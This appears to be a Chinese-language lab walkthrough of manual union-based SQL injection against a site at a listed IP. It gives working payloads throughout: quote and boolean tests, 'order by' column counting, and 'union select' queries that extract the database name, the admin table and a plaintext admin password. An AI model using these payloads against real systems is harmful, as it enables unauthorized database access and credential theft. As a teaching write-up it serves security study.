一、检测注入点
首先,在 http://120.203.13.75:6815/?id=1
目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。
这相当于查询语句:
select * from [表名] where id = '1';
审查元素,并利用 f5 刷新页面。
分析出的 HTTP 数据包如下:
请求中的参数为:查询字符串 id:1:
-
返回值:200 OK
-
请求方法:GET方法
-
Server: Apache/2.4.23(win32) OpenSSL/1.02j PHP/5.4.45
-
参数:查询字符串 id:1
响应返回一个html文件,浏览器对其进行解析渲染后就变成了我们看到的页面。
二、判断是否存在 SQL 注入可能
在 http://120.203.13.75:6815/?id=1
后加入一个 单引号,构成
http://120.203.13.75:6815/?id=1'
此时的 SQL 查询语句变为:
select * from 表名 where id =1';
SQL 语句未正确结束,因此返回了一个错误页面,如图所示:
继续测试 and 1=1 和 and 1=2:
http://120.203.13.75:6815/?id=1 and 1=1
这相当于 SQL 查询语句:
select * from 表名 where id =1 and 1=1;
SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:
http://120.203.13.75:6815/?id=1 and 1=2
这相当于 SQL 查询语句:
select select * from 表名 where id =1 and 1=2;
- 1
SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:
一个恒等式,一个恒不等式,输入 and 1=1 页面返回正常,而输入 and 1=2 时页面返回出错,说明 SQL 语句被执行,程序没有对敏感字符进行过滤。
现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。
可以推断出在访问 http://120.203.13.75:6815/?id=1
时数据库中执行的 SQL 语句是这样的:
select * from [表名] where id=1;
添加 and 1=1 后的SQL语句:
select * from [表名] where id=1 and 1=1;
由于条件 1=1 永远为 真,所以返回的页面和正常页面是一致的。
添加 and 1=2 后的 SQL 语句:
select * from [表名] where id=1 and 1=2;
由于条件 1=2 永远为 假,所以返回的页面和正常页面不一致。
因此,可以初步确定这里存在注入点。
三、数据库爆破
现在要判断数据库类型以及版本,构造语句如下:
http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51
发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。
四、字段爆破
进一步猜测数据注入位置:
http://120.203.13.75:6815/?id=1 order by 10
- 1
这相当于 SQL 查询语句:
select * from [表名] where id =1 order by 10;
- 1
返回错误,说明字段小于 10:
http://120.203.13.75:6815/?id=1 order by 5
这相当于 SQL 查询语句:
select * from [表名] where id =1 order by 5;
返回错误,说明字段小于 5:
http://120.203.13.75:6815/?id=1 order by 3
这相当于 SQL 查询语句:
select * from [表名] where id =1 order by 3;
返回错误,说明字段小于 3:
http://120.203.13.75:6815/?id=1 order by 2
这相当于SQL查询语句:
select * from [表名] where id =1 order by 2;
- 1
返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。
五、数据库表爆破
确定字段之后,现在要构造联合查询语句 (union select),语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2
可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。
查询数据库版本:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()
得到结果为版本号 5.5.53,如图所示:
六、用户名、密码爆破
现在把 2 替换掉,先查询数据库名称,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()
- 1
浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:
用同样的手法查询表名,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'
浏览器返回 admin,说明表名为 admin,如图所示:
再用同样的手法猜测密码和用户名字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin
返回失败,说明字段名称不是 pwd。
重新猜测密码字段,构造语句如下:
http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin
返回成功,说明密码字段名称为 password,且登录密码为 hellohack。
七、总结
要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。
- 基本步骤:
- 找到注入点;
- 判断当前表的字段;
- 用联合语句查看哪几位是有效位;
- 查看当前数据库中有哪些表;
- 查看表中有哪些属性;
- 查看表中具体的数据信息。